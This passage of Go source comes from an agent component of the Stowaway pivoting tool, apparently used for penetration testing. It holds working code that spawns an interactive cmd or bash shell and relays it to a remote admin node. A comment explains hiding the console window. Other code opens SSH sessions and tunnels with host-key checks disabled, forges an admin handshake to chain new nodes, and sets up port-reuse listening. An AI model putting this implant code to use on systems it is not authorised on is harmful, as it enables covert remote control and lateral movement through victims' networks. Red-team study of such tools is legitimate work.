 32 | 
 33 | 	shellResHeader := &protocol.Header{
 34 | 		Sender:      global.G_Component.UUID,
 35 | 		Accepter:    protocol.ADMIN_UUID,
 36 | 		MessageType: protocol.SHELLRES,
 37 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
 38 | 		Route:       protocol.TEMP_ROUTE,
 39 | 	}
 40 | 
 41 | 	shellResultHeader := &protocol.Header{
 42 | 		Sender:      global.G_Component.UUID,
 43 | 		Accepter:    protocol.ADMIN_UUID,
 44 | 		MessageType: protocol.SHELLRESULT,
 45 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
 46 | 		Route:       protocol.TEMP_ROUTE,
 47 | 	}
 48 | 
 49 | 	shellResFailMess := &protocol.ShellRes{
 50 | 		OK: 0,
 51 | 	}
 52 | 
 53 | 	shellResSuccMess := &protocol.ShellRes{
 54 | 		OK: 1,
 55 | 	}
 56 | 
 57 | 	defer func() {
 58 | 		if err != nil {
 59 | 			protocol.ConstructMessage(sMessage, shellResHeader, shellResFailMess, false)
 60 | 			sMessage.SendMessage()
 61 | 		}
 62 | 	}()
 63 | 
 64 | 	switch utils.CheckSystem() {
 65 | 	case 0x01:
 66 | 		cmd = exec.Command("c:\\windows\\system32\\cmd.exe")
 67 | 		// cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} // If you don't want the cmd window, remove "//"
 68 | 	default:
 69 | 		cmd = exec.Command("/bin/sh", "-i")
 70 | 		if runtime.GOARCH == "386" || runtime.GOARCH == "amd64" {
 71 | 			cmd = exec.Command("/bin/bash", "-i")
 72 | 		}
 73 | 		// If you want to start agent with "&" and you also want to use command "shell",plz recompile a brand new agent by removing "//" in the front of line 70&&71
 74 | 		// cmd.SysProcAttr = &syscall.SysProcAttr{Foreground: true}
 75 | 		// signal.Ignore(syscall.SIGTTIN, syscall.SIGTTOU)
 76 | 	}
 77 | 
 78 | 	shell.stdout, err = cmd.StdoutPipe()
 79 | 	if err != nil {
 80 | 		return
 81 | 	}
 82 | 
 83 | 	shell.stdin, err = cmd.StdinPipe()
 84 | 	if err != nil {
 85 | 		return
 86 | 	}
 87 | 
 88 | 	cmd.Stderr = cmd.Stdout //将stderr重定向至stdout
 89 | 
 90 | 	err = cmd.Start()
 91 | 	if err != nil {
 92 | 		return
 93 | 	}
 94 | 
 95 | 	protocol.ConstructMessage(sMessage, shellResHeader, shellResSuccMess, false)
 96 | 	sMessage.SendMessage()
 97 | 
 98 | 	shellExitHeader := &protocol.Header{
 99 | 		Sender:      global.G_Component.UUID,
100 | 		Accepter:    protocol.ADMIN_UUID,
101 | 		MessageType: protocol.SHELLEXIT,
102 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
103 | 		Route:       protocol.TEMP_ROUTE,
104 | 	}
105 | 
106 | 	shellExitMess := &protocol.ShellExit{
107 | 		OK: 1,
108 | 	}
109 | 
110 | 	buffer := make([]byte, 4096)
111 | 	for {
112 | 		count, err := shell.stdout.Read(buffer)
113 | 
114 | 		if err != nil {
115 | 			protocol.ConstructMessage(sMessage, shellExitHeader, shellExitMess, false)
116 | 			sMessage.SendMessage()
117 | 			return
118 | 		}
119 | 
120 | 		result := string(buffer[:count])
121 | 		if shell.charset == "gbk" { // Fix shell output bug when agent is running on Windows,thanks to @lz520520
122 | 			result = utils.ConvertGBK2Str(result)
123 | 			count = len(result)
124 | 		}
125 | 
126 | 		shellResultMess := &protocol.ShellResult{
127 | 			ResultLen: uint64(count),
128 | 			Result:    result,
129 | 		}
130 | 
131 | 		protocol.ConstructMessage(sMessage, shellResultHeader, shellResultMess, false)
132 | 		sMessage.SendMessage()
133 | 	}
134 | }
135 | 
136 | func (shell *Shell) input(command string) {
137 | 	if shell.charset == "gbk" {
138 | 		command = utils.ConvertStr2GBK(command)
139 | 	}
140 | 
141 | 	shell.stdin.Write([]byte(command))
142 | }
143 | 
144 | func DispatchShellMess(mgr *manager.Manager, options *initial.Options) {
145 | 	var shell *Shell
146 | 
147 | 	for {
148 | 		message := <-mgr.ShellManager.ShellMessChan
149 | 
150 | 		switch mess := message.(type) {
151 | 		case *protocol.ShellReq:
152 | 			shell = newShell(options)
153 | 			go shell.start()
154 | 		case *protocol.ShellCommand:
155 | 			shell.input(mess.Command)
156 | 		}
157 | 	}
158 | }
159 | 


--------------------------------------------------------------------------------
/agent/handler/ssh.go:
--------------------------------------------------------------------------------
  1 | package handler
  2 | 
  3 | import (
  4 | 	"io"
  5 | 	"time"
  6 | 
  7 | 	"Stowaway/agent/manager"
  8 | 	"Stowaway/global"
  9 | 	"Stowaway/protocol"
 10 | 	"Stowaway/utils"
 11 | 
 12 | 	"golang.org/x/crypto/ssh"
 13 | )
 14 | 
 15 | const (
 16 | 	UPMETHOD = iota
 17 | 	CERMETHOD
 18 | )
 19 | 
 20 | type SSH struct {
 21 | 	stdin       io.Writer
 22 | 	stdout      io.Reader
 23 | 	sshHost     *ssh.Session
 24 | 	Method      int
 25 | 	Addr        string
 26 | 	Username    string
 27 | 	Password    string
 28 | 	Certificate []byte
 29 | }
 30 | 
 31 | func newSSH() *SSH {
 32 | 	return new(SSH)
 33 | }
 34 | 
 35 | // StartSSH 启动ssh
 36 | func (mySSH *SSH) start() {
 37 | 	var authPayload ssh.AuthMethod
 38 | 	var err error
 39 | 
 40 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 41 | 
 42 | 	sshResheader := &protocol.Header{
 43 | 		Sender:      global.G_Component.UUID,
 44 | 		Accepter:    protocol.ADMIN_UUID,
 45 | 		MessageType: protocol.SSHRES,
 46 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
 47 | 		Route:       protocol.TEMP_ROUTE,
 48 | 	}
 49 | 
 50 | 	sshResultheader := &protocol.Header{
 51 | 		Sender:      global.G_Component.UUID,
 52 | 		Accepter:    protocol.ADMIN_UUID,
 53 | 		MessageType: protocol.SSHRESULT,
 54 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
 55 | 		Route:       protocol.TEMP_ROUTE,
 56 | 	}
 57 | 
 58 | 	sshResSuccMess := &protocol.SSHRes{
 59 | 		OK: 1,
 60 | 	}
 61 | 
 62 | 	sshResFailMess := &protocol.SSHRes{
 63 | 		OK: 0,
 64 | 	}
 65 | 
 66 | 	defer func() {
 67 | 		if err != nil {
 68 | 			protocol.ConstructMessage(sMessage, sshResheader, sshResFailMess, false)
 69 | 			sMessage.SendMessage()
 70 | 		}
 71 | 	}()
 72 | 
 73 | 	switch mySSH.Method {
 74 | 	case UPMETHOD:
 75 | 		authPayload = ssh.Password(mySSH.Password)
 76 | 	case CERMETHOD:
 77 | 		var key ssh.Signer
 78 | 		key, err = ssh.ParsePrivateKey(mySSH.Certificate)
 79 | 		if err != nil {
 80 | 			return
 81 | 		}
 82 | 		authPayload = ssh.PublicKeys(key)
 83 | 	}
 84 | 
 85 | 	sshDial, err := ssh.Dial("tcp", mySSH.Addr, &ssh.ClientConfig{
 86 | 		User:            mySSH.Username,
 87 | 		Auth:            []ssh.AuthMethod{authPayload},
 88 | 		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
 89 | 		Timeout:         10 * time.Second,
 90 | 	})
 91 | 	if err != nil {
 92 | 		return
 93 | 	}
 94 | 
 95 | 	mySSH.sshHost, err = sshDial.NewSession()
 96 | 	if err != nil {
 97 | 		return
 98 | 	}
 99 | 
100 | 	mySSH.stdout, err = mySSH.sshHost.StdoutPipe()
101 | 	if err != nil {
102 | 		return
103 | 	}
104 | 
105 | 	mySSH.stdin, err = mySSH.sshHost.StdinPipe()
106 | 	if err != nil {
107 | 		return
108 | 	}
109 | 
110 | 	mySSH.sshHost.Stderr = mySSH.sshHost.Stdout
111 | 
112 | 	modes := ssh.TerminalModes{
113 | 		ssh.ECHO:          1,
114 | 		ssh.TTY_OP_ISPEED: 14400,
115 | 		ssh.TTY_OP_OSPEED: 14400,
116 | 	}
117 | 
118 | 	var term string
119 | 
120 | 	switch utils.CheckSystem() {
121 | 	case 0x01:
122 | 		term = ""
123 | 	case 0x02:
124 | 		term = "linux"
125 | 	case 0x03:
126 | 		term = "xterm"
127 | 	}
128 | 
129 | 	err = mySSH.sshHost.RequestPty(term, 25, 80, modes)
130 | 	if err != nil {
131 | 		return
132 | 	}
133 | 
134 | 	err = mySSH.sshHost.Shell()
135 | 	if err != nil {
136 | 		return
137 | 	}
138 | 
139 | 	protocol.ConstructMessage(sMessage, sshResheader, sshResSuccMess, false)
140 | 	sMessage.SendMessage()
141 | 
142 | 	sshExitHeader := &protocol.Header{
143 | 		Sender:      global.G_Component.UUID,
144 | 		Accepter:    protocol.ADMIN_UUID,
145 | 		MessageType: protocol.SSHEXIT,
146 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
147 | 		Route:       protocol.TEMP_ROUTE,
148 | 	}
149 | 
150 | 	sshExitMess := &protocol.SSHExit{
151 | 		OK: 1,
152 | 	}
153 | 
154 | 	buffer := make([]byte, 4096)
155 | 	for {
156 | 		length, err := mySSH.stdout.Read(buffer)
157 | 
158 | 		if err != nil {
159 | 			protocol.ConstructMessage(sMessage, sshExitHeader, sshExitMess, false)
160 | 			sMessage.SendMessage()
161 | 			return
162 | 		}
163 | 
164 | 		sshResultMess := &protocol.SSHResult{
165 | 			ResultLen: uint64(length),
166 | 			Result:    string(buffer[:length]),
167 | 		}
168 | 
169 | 		protocol.ConstructMessage(sMessage, sshResultheader, sshResultMess, false)
170 | 		sMessage.SendMessage()
171 | 	}
172 | }
173 | 
174 | // WriteCommand 写入command
175 | func (mySSH *SSH) input(command string) {
176 | 	mySSH.stdin.Write([]byte(command))
177 | }
178 | 
179 | func DispatchSSHMess(mgr *manager.Manager) {
180 | 	var mySSH *SSH
181 | 
182 | 	for {
183 | 		message := <-mgr.SSHManager.SSHMessChan
184 | 
185 | 		switch mess := message.(type) {
186 | 		case *protocol.SSHReq:
187 | 			mySSH = newSSH()
188 | 			mySSH.Addr = mess.Addr
189 | 			mySSH.Method = int(mess.Method)
190 | 			mySSH.Username = mess.Username
191 | 			mySSH.Password = mess.Password
192 | 			mySSH.Certificate = mess.Certificate
193 | 			go mySSH.start()
194 | 		case *protocol.SSHCommand:
195 | 			mySSH.input(mess.Command)
196 | 		}
197 | 	}
198 | }
199 | 


--------------------------------------------------------------------------------
/agent/handler/sshtunnel.go:
--------------------------------------------------------------------------------
  1 | package handler
  2 | 
  3 | import (
  4 | 	"errors"
  5 | 	"fmt"
  6 | 	"time"
  7 | 
  8 | 	"Stowaway/agent/manager"
  9 | 	"Stowaway/global"
 10 | 	"Stowaway/protocol"
 11 | 	"Stowaway/share"
 12 | 
 13 | 	"golang.org/x/crypto/ssh"
 14 | )
 15 | 
 16 | type SSHTunnel struct {
 17 | 	Method      int
 18 | 	Addr        string
 19 | 	Port        string
 20 | 	Username    string
 21 | 	Password    string
 22 | 	Certificate []byte
 23 | }
 24 | 
 25 | func newSSHTunnel(method int, addr, port, username, password string, certificate []byte) *SSHTunnel {
 26 | 	sshTunnel := new(SSHTunnel)
 27 | 	sshTunnel.Method = method
 28 | 	sshTunnel.Addr = addr
 29 | 	sshTunnel.Port = port
 30 | 	sshTunnel.Username = username
 31 | 	sshTunnel.Password = password
 32 | 	sshTunnel.Certificate = certificate
 33 | 	return sshTunnel
 34 | }
 35 | 
 36 | func (sshTunnel *SSHTunnel) start(mgr *manager.Manager) {
 37 | 	var authPayload ssh.AuthMethod
 38 | 	var err error
 39 | 	var sUMessage, sLMessage, rMessage protocol.Message
 40 | 
 41 | 	sUMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 42 | 
 43 | 	sshTunnelResheader := &protocol.Header{
 44 | 		Sender:      global.G_Component.UUID,
 45 | 		Accepter:    protocol.ADMIN_UUID,
 46 | 		MessageType: protocol.SSHTUNNELRES,
 47 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
 48 | 		Route:       protocol.TEMP_ROUTE,
 49 | 	}
 50 | 
 51 | 	sshTunnelResSuccMess := &protocol.SSHTunnelRes{
 52 | 		OK: 1,
 53 | 	}
 54 | 
 55 | 	sshTunnelResFailMess := &protocol.SSHTunnelRes{
 56 | 		OK: 0,
 57 | 	}
 58 | 
 59 | 	defer func() {
 60 | 		if err != nil {
 61 | 			protocol.ConstructMessage(sUMessage, sshTunnelResheader, sshTunnelResFailMess, false)
 62 | 			sUMessage.SendMessage()
 63 | 		}
 64 | 	}()
 65 | 
 66 | 	switch sshTunnel.Method {
 67 | 	case UPMETHOD:
 68 | 		authPayload = ssh.Password(sshTunnel.Password)
 69 | 	case CERMETHOD:
 70 | 		var key ssh.Signer
 71 | 		key, err = ssh.ParsePrivateKey(sshTunnel.Certificate)
 72 | 		if err != nil {
 73 | 			return
 74 | 		}
 75 | 		authPayload = ssh.PublicKeys(key)
 76 | 	}
 77 | 
 78 | 	sshDial, err := ssh.Dial("tcp", sshTunnel.Addr, &ssh.ClientConfig{
 79 | 		User:            sshTunnel.Username,
 80 | 		Auth:            []ssh.AuthMethod{authPayload},
 81 | 		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
 82 | 		Timeout:         10 * time.Second,
 83 | 	})
 84 | 	if err != nil {
 85 | 		return
 86 | 	}
 87 | 
 88 | 	conn, err := sshDial.Dial("tcp", fmt.Sprintf("127.0.0.1:%s", sshTunnel.Port))
 89 | 	if err != nil {
 90 | 		return
 91 | 	}
 92 | 
 93 | 	if err = share.ActivePreAuth(conn); err != nil {
 94 | 		return
 95 | 	}
 96 | 
 97 | 	sLMessage = protocol.NewDownMsg(conn, global.G_Component.Secret, protocol.ADMIN_UUID)
 98 | 
 99 | 	hiHeader := &protocol.Header{
100 | 		Sender:      protocol.ADMIN_UUID, // fake admin
101 | 		Accepter:    protocol.TEMP_UUID,
102 | 		MessageType: protocol.HI,
103 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
104 | 		Route:       protocol.TEMP_ROUTE,
105 | 	}
106 | 
107 | 	// fake admin
108 | 	hiMess := &protocol.HIMess{
109 | 		GreetingLen: uint16(len("Shhh...")),
110 | 		Greeting:    "Shhh...",
111 | 		UUIDLen:     uint16(len(protocol.ADMIN_UUID)),
112 | 		UUID:        protocol.ADMIN_UUID,
113 | 		IsAdmin:     1,
114 | 		IsReconnect: 0,
115 | 	}
116 | 
117 | 	protocol.ConstructMessage(sLMessage, hiHeader, hiMess, false)
118 | 	sLMessage.SendMessage()
119 | 
120 | 	rMessage = protocol.NewDownMsg(conn, global.G_Component.Secret, protocol.ADMIN_UUID)
121 | 	fHeader, fMessage, err := protocol.DestructMessage(rMessage)
122 | 	if err != nil {
123 | 		conn.Close()
124 | 		return
125 | 	}
126 | 
127 | 	if fHeader.MessageType == protocol.HI {
128 | 		mmess := fMessage.(*protocol.HIMess)
129 | 		if mmess.Greeting == "Keep slient" && mmess.IsAdmin == 0 {
130 | 			childIP := conn.RemoteAddr().String()
131 | 
132 | 			cUUIDReqHeader := &protocol.Header{
133 | 				Sender:      global.G_Component.UUID,
134 | 				Accepter:    protocol.ADMIN_UUID,
135 | 				MessageType: protocol.CHILDUUIDREQ,
136 | 				RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
137 | 				Route:       protocol.TEMP_ROUTE,
138 | 			}
139 | 
140 | 			cUUIDMess := &protocol.ChildUUIDReq{
141 | 				ParentUUIDLen: uint16(len(global.G_Component.UUID)),
142 | 				ParentUUID:    global.G_Component.UUID,
143 | 				IPLen:         uint16(len(childIP)),
144 | 				IP:            childIP,
145 | 			}
146 | 
147 | 			protocol.ConstructMessage(sUMessage, cUUIDReqHeader, cUUIDMess, false)
148 | 			sUMessage.SendMessage()
149 | 
150 | 			childUUID := <-mgr.ListenManager.ChildUUIDChan
151 | 
152 | 			uuidHeader := &protocol.Header{
153 | 				Sender:      protocol.ADMIN_UUID,
154 | 				Accepter:    protocol.TEMP_UUID,
155 | 				MessageType: protocol.UUID,
156 | 				RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
157 | 				Route:       protocol.TEMP_ROUTE,
158 | 			}
159 | 
160 | 			uuidMess := &protocol.UUIDMess{
161 | 				UUIDLen: uint16(len(childUUID)),
162 | 				UUID:    childUUID,
163 | 			}
164 | 
165 | 			protocol.ConstructMessage(sLMessage, uuidHeader, uuidMess, false)
166 | 			sLMessage.SendMessage()
167 | 
168 | 			childrenTask := &manager.ChildrenTask{
169 | 				Mode: manager.C_NEWCHILD,
170 | 				UUID: childUUID,
171 | 				Conn: conn,
172 | 			}
173 | 			mgr.ChildrenManager.TaskChan <- childrenTask
174 | 			<-mgr.ChildrenManager.ResultChan
175 | 
176 | 			mgr.ChildrenManager.ChildComeChan <- &manager.ChildInfo{UUID: childUUID, Conn: conn}
177 | 
178 | 			protocol.ConstructMessage(sUMessage, sshTunnelResheader, sshTunnelResSuccMess, false)
179 | 			sUMessage.SendMessage()
180 | 
181 | 			return
182 | 		}
183 | 	}
184 | 
185 | 	conn.Close()
186 | 	err = errors.New("node seems illegal")
187 | }
188 | 
189 | func DispatchSSHTunnelMess(mgr *manager.Manager) {
190 | 	for {
191 | 		message := <-mgr.SSHTunnelManager.SSHTunnelMessChan
192 | 
193 | 		switch mess := message.(type) {
194 | 		case *protocol.SSHTunnelReq:
195 | 			sshTunnel := newSSHTunnel(int(mess.Method), mess.Addr, mess.Port, mess.Username, mess.Password, mess.Certificate)
196 | 			go sshTunnel.start(mgr)
197 | 		}
198 | 	}
199 | }
200 | 


--------------------------------------------------------------------------------
/agent/initial/parser.go:
--------------------------------------------------------------------------------
  1 | package initial
  2 | 
  3 | import (
  4 | 	"errors"
  5 | 	"flag"
  6 | 	"log"
  7 | 	"net"
  8 | 	"os"
  9 | 	"strings"
 10 | )
 11 | 
 12 | const (
 13 | 	NORMAL_ACTIVE = iota
 14 | 	NORMAL_RECONNECT_ACTIVE
 15 | 	NORMAL_PASSIVE
 16 | 	SOCKS5_PROXY_ACTIVE
 17 | 	HTTP_PROXY_ACTIVE
 18 | 	SOCKS5_PROXY_RECONNECT_ACTIVE
 19 | 	HTTP_PROXY_RECONNECT_ACTIVE
 20 | 	SO_REUSE_PASSIVE
 21 | 	IPTABLES_REUSE_PASSIVE
 22 | )
 23 | 
 24 | type Options struct {
 25 | 	Mode         int
 26 | 	Secret       string
 27 | 	Listen       string
 28 | 	Reconnect    uint64
 29 | 	Connect      string
 30 | 	ReuseHost    string
 31 | 	ReusePort    string
 32 | 	Socks5Proxy  string
 33 | 	Socks5ProxyU string
 34 | 	Socks5ProxyP string
 35 | 	HttpProxy    string
 36 | 	Upstream     string
 37 | 	Downstream   string
 38 | 	Charset      string
 39 | 	Domain       string
 40 | 	TlsEnable    bool
 41 | }
 42 | 
 43 | var args *Options
 44 | 
 45 | func init() {
 46 | 	args = new(Options)
 47 | 
 48 | 	flag.StringVar(&args.Secret, "s", "", "")
 49 | 	flag.StringVar(&args.Listen, "l", "", "")
 50 | 	flag.Uint64Var(&args.Reconnect, "reconnect", 0, "")
 51 | 	flag.StringVar(&args.Connect, "c", "", "")
 52 | 	flag.StringVar(&args.ReuseHost, "rehost", "", "")
 53 | 	flag.StringVar(&args.ReusePort, "report", "", "")
 54 | 	flag.StringVar(&args.Socks5Proxy, "socks5-proxy", "", "")
 55 | 	flag.StringVar(&args.Socks5ProxyU, "socks5-proxyu", "", "")
 56 | 	flag.StringVar(&args.Socks5ProxyP, "socks5-proxyp", "", "")
 57 | 	flag.StringVar(&args.HttpProxy, "http-proxy", "", "")
 58 | 	flag.StringVar(&args.Upstream, "up", "raw", "")
 59 | 	flag.StringVar(&args.Downstream, "down", "raw", "")
 60 | 	flag.StringVar(&args.Charset, "cs", "utf-8", "")
 61 | 	flag.StringVar(&args.Domain, "domain", "", "")
 62 | 	flag.BoolVar(&args.TlsEnable, "tls-enable", false, "")
 63 | 
 64 | 	flag.Usage = func() {}
 65 | }
 66 | 
 67 | // ParseOptions Parsing user's options
 68 | func ParseOptions() *Options {
 69 | 
 70 | 	flag.Parse()
 71 | 
 72 | 	if args.Listen != "" && args.Connect == "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent -l <port> -s [secret]
 73 | 		args.Mode = NORMAL_PASSIVE
 74 | 		log.Printf("[*] Starting agent node passively.Now listening on port %s\n", args.Listen)
 75 | 	} else if args.Listen == "" && args.Connect != "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent -c <ip:port> -s [secret]
 76 | 		args.Mode = NORMAL_ACTIVE
 77 | 		log.Printf("[*] Starting agent node actively.Connecting to %s\n", args.Connect)
 78 | 	} else if args.Listen == "" && args.Connect != "" && args.Reconnect != 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent -c <ip:port> -s [secret] --reconnect <seconds>
 79 | 		args.Mode = NORMAL_RECONNECT_ACTIVE
 80 | 		log.Printf("[*] Starting agent node actively.Connecting to %s.Reconnecting every %d seconds\n", args.Connect, args.Reconnect)
 81 | 	} else if args.Listen == "" && args.Connect == "" && args.Reconnect == 0 && args.ReuseHost != "" && args.ReusePort != "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent --rehost <ip> --report <port> -s [secret]
 82 | 		args.Mode = SO_REUSE_PASSIVE
 83 | 		log.Printf("[*] Starting agent node passively.Now reusing host %s, port %s(SO_REUSEPORT,SO_REUSEADDR)\n", args.ReuseHost, args.ReusePort)
 84 | 	} else if args.Listen != "" && args.Connect == "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort != "" && args.Socks5Proxy == "" && args.Socks5ProxyU == "" && args.Socks5ProxyP == "" && args.HttpProxy == "" { // ./stowaway_agent -l <port> --report <port> -s [secret]
 85 | 		args.Mode = IPTABLES_REUSE_PASSIVE
 86 | 		log.Printf("[*] Starting agent node passively.Now reusing port %s(IPTABLES)\n", args.ReusePort)
 87 | 	} else if args.Listen == "" && args.Connect != "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy != "" && args.HttpProxy == "" { // ./stowaway_agent -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password]
 88 | 		args.Mode = SOCKS5_PROXY_ACTIVE
 89 | 		log.Printf("[*] Starting agent node actively.Connecting to %s via socks5 proxy %s\n", args.Connect, args.Socks5Proxy)
 90 | 	} else if args.Listen == "" && args.Connect != "" && args.Reconnect != 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy != "" && args.HttpProxy == "" { // ./stowaway_agent -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password] --reconnect <seconds>
 91 | 		args.Mode = SOCKS5_PROXY_RECONNECT_ACTIVE
 92 | 		log.Printf("[*] Starting agent node actively.Connecting to %s via socks5 proxy %s.Reconnecting every %d seconds\n", args.Connect, args.Socks5Proxy, args.Reconnect)
 93 | 	} else if args.Listen == "" && args.Connect != "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.HttpProxy != "" {
 94 | 		args.Mode = HTTP_PROXY_ACTIVE
 95 | 		log.Printf("[*] Starting agent node actively.Connecting to %s via http proxy %s\n", args.Connect, args.HttpProxy)
 96 | 	} else if args.Listen == "" && args.Connect != "" && args.Reconnect != 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && args.HttpProxy != "" {
 97 | 		args.Mode = HTTP_PROXY_RECONNECT_ACTIVE
 98 | 		log.Printf("[*] Starting agent node actively.Connecting to %s via http proxy %s.Reconnecting every %d seconds\n", args.Connect, args.HttpProxy, args.Reconnect)
 99 | 	} else {
100 | 		os.Exit(1)
101 | 	}
102 | 
103 | 	if args.Charset != "utf-8" && args.Charset != "gbk" {
104 | 		log.Fatalf("[*] Charset must be set as 'utf-8'(default) or 'gbk'")
105 | 	}
106 | 
107 | 	if args.Domain == "" && args.Connect != "" {
108 | 		addrSlice := strings.SplitN(args.Connect, ":", 2)
109 | 		args.Domain = addrSlice[0]
110 | 	}
111 | 
112 | 	if err := checkOptions(args); err != nil {
113 | 		log.Fatalf("[*] Options err: %s\n", err.Error())
114 | 	}
115 | 
116 | 	return args
117 | }
118 | 
119 | func checkOptions(option *Options) error {
120 | 	var err error
121 | 
122 | 	if args.Connect != "" {
123 | 		_, err = net.ResolveTCPAddr("", option.Connect)
124 | 	}
125 | 
126 | 	if args.Socks5Proxy != "" {
127 | 		_, err = net.ResolveTCPAddr("", option.Socks5Proxy)
128 | 	}
129 | 
130 | 	if args.HttpProxy != "" {
131 | 		_, err = net.ResolveTCPAddr("", option.HttpProxy)
132 | 	}
133 | 
134 | 	if args.ReuseHost != "" {
135 | 		if addr := net.ParseIP(args.ReuseHost); addr == nil {
136 | 			err = errors.New("ReuseHost is not a valid IP addr")
137 | 		}
138 | 	}
139 | 
140 | 	return err
141 | }
142 | 


--------------------------------------------------------------------------------
/agent/manager/backward.go:
--------------------------------------------------------------------------------
  1 | package manager
  2 | 
  3 | import (
  4 | 	"net"
  5 | )
  6 | 
  7 | const (
  8 | 	B_NEWBACKWARD = iota
  9 | 	B_GETSEQCHAN
 10 | 	B_ADDCONN
 11 | 	B_GETDATACHAN
 12 | 	B_GETDATACHAN_WITHOUTUUID
 13 | 	B_CLOSETCP
 14 | 	B_CLOSESINGLE
 15 | 	B_CLOSESINGLEALL
 16 | 	B_FORCESHUTDOWN
 17 | )
 18 | 
 19 | type backwardManager struct {
 20 | 	backwardSeqMap   map[uint64]string
 21 | 	backwardMap      map[string]*backward
 22 | 	BackwardMessChan chan interface{}
 23 | 
 24 | 	TaskChan   chan *BackwardTask
 25 | 	ResultChan chan *backwardResult
 26 | 	SeqReady   chan bool
 27 | }
 28 | 
 29 | type BackwardTask struct {
 30 | 	Mode int
 31 | 	Seq  uint64
 32 | 
 33 | 	Listener net.Listener
 34 | 	RPort    string
 35 | }
 36 | 
 37 | type backwardResult struct {
 38 | 	OK bool
 39 | 
 40 | 	SeqChan  chan uint64
 41 | 	DataChan chan []byte
 42 | }
 43 | 
 44 | type backward struct {
 45 | 	listener net.Listener
 46 | 	seqChan  chan uint64
 47 | 
 48 | 	backwardStatusMap map[uint64]*backwardStatus
 49 | }
 50 | 
 51 | type backwardStatus struct {
 52 | 	dataChan chan []byte
 53 | }
 54 | 
 55 | func newBackwardManager() *backwardManager {
 56 | 	manager := new(backwardManager)
 57 | 
 58 | 	manager.backwardSeqMap = make(map[uint64]string)
 59 | 	manager.backwardMap = make(map[string]*backward)
 60 | 	manager.BackwardMessChan = make(chan interface{}, 5)
 61 | 
 62 | 	manager.ResultChan = make(chan *backwardResult)
 63 | 	manager.TaskChan = make(chan *BackwardTask)
 64 | 	manager.SeqReady = make(chan bool)
 65 | 
 66 | 	return manager
 67 | }
 68 | 
 69 | func (manager *backwardManager) run() {
 70 | 	for {
 71 | 		task := <-manager.TaskChan
 72 | 
 73 | 		switch task.Mode {
 74 | 		case B_NEWBACKWARD:
 75 | 			manager.newBackward(task)
 76 | 		case B_GETSEQCHAN:
 77 | 			manager.getSeqChan(task)
 78 | 		case B_ADDCONN:
 79 | 			manager.addConn(task)
 80 | 		case B_GETDATACHAN:
 81 | 			manager.getDataChan(task)
 82 | 		case B_GETDATACHAN_WITHOUTUUID:
 83 | 			manager.getDatachanWithoutUUID(task)
 84 | 		case B_CLOSETCP:
 85 | 			manager.closeTCP(task)
 86 | 		case B_CLOSESINGLE:
 87 | 			manager.closeSingle(task)
 88 | 		case B_CLOSESINGLEALL:
 89 | 			manager.closeSingleAll()
 90 | 		case B_FORCESHUTDOWN:
 91 | 			manager.forceShutdown()
 92 | 		}
 93 | 	}
 94 | }
 95 | 
 96 | func (manager *backwardManager) newBackward(task *BackwardTask) {
 97 | 	manager.backwardMap[task.RPort] = new(backward)
 98 | 	manager.backwardMap[task.RPort].listener = task.Listener
 99 | 	manager.backwardMap[task.RPort].backwardStatusMap = make(map[uint64]*backwardStatus)
100 | 	manager.backwardMap[task.RPort].seqChan = make(chan uint64)
101 | 	manager.ResultChan <- &backwardResult{OK: true}
102 | }
103 | 
104 | func (manager *backwardManager) getSeqChan(task *BackwardTask) {
105 | 	if _, ok := manager.backwardMap[task.RPort]; ok {
106 | 		manager.ResultChan <- &backwardResult{
107 | 			OK:      true,
108 | 			SeqChan: manager.backwardMap[task.RPort].seqChan,
109 | 		}
110 | 	} else {
111 | 		manager.ResultChan <- &backwardResult{OK: false}
112 | 	}
113 | }
114 | 
115 | func (manager *backwardManager) addConn(task *BackwardTask) {
116 | 	if _, ok := manager.backwardMap[task.RPort]; ok {
117 | 		manager.backwardSeqMap[task.Seq] = task.RPort
118 | 		manager.backwardMap[task.RPort].backwardStatusMap[task.Seq] = new(backwardStatus)
119 | 		manager.backwardMap[task.RPort].backwardStatusMap[task.Seq].dataChan = make(chan []byte, 5)
120 | 		manager.ResultChan <- &backwardResult{OK: true}
121 | 	} else {
